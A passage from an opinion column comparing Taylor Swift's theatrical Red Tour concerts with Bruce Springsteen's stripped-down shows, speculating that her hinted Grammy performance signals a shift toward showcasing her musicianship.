That's how we roll in what my friend, Dallas media personality Gordon Keith, recently referred to as "the world of outrage."
But others took more thoughtful note, including, from what I understand, people deep inside Taylor Swift's camp. From last year's article, which was triggered by my attendance at two of four LA stops on the Red Tour, here's what appears to have resonated most with them (and, quite possibly, Swift herself):
There's a reason why music critics and serious popular culture doesn't mention Swift's name alongside Springsteen's (and will likely chide me for doing so). Actually several reasons.
First, a reason or two I can get with.
I didn't realize Swift was so "commercial." She's selling everything from Diet Coke to Keds to perfume at her shows. Legend has it that Bruce turned down millions from Chevy for the rights to "Born in the USA." At the same time, the spectacle of Swift's show (the costumes, the dancing, the pomp and circumstance) undermines her musical talents.
If she stripped everything down to bare bones -- using the nondescript black and drab set The E Street Band uses -- Swift would instantly trigger comparisons to Bruce's hard-driving, no-nonsense, four-hour rock shows.
She could and, I believe, eventually will dedicate herself to the sweaty marathon sessions The Boss has become known for. She'll drop much of the pizazz and bring the power.
The same elements that make Bruce's show tick provide what will be the lasting foundation for a Taylor Swift performance -- "part circus, dance party, political rally (maybe not so much) and big tent revival." That's how Springsteen described his show to "60 Minutes" several years ago.
After Swift's Red Tour pulled out all the theatrical stops, it was clear her camp had a decision to make: Do we try to top the spectacle of Red or do we trace a path that showcases Swift's raw emotion and musicianship?
(I was going to also refer to her "otherworldly talent" alongside "raw emotion and musicianship," but I scratched that. Swift and her team put a lot of work into the "theatrics" that are part of her show, particularly dance. And it shows. The product of that work is incredible. And requires remarkable "talent." However, for reasons I explain here and elsewhere, there's considerable upside to shifting focus to Swift's even stronger talent as a musician).
Anyhow, it appears, if the hint Swift lobbed to her Twitter (TWTR) and Instagram followers Thursday night results in what they're predicting for her performance at Sunday night's Grammy Awards, that the decision has been made.
But what does it all mean? And, more importantly, why does it matter to music fans (who may not even be fans of Swift) and an industry struggling to remain relevant in an age of dwindling downloads, streaming music and the emergence of DIY at all levels of the craft?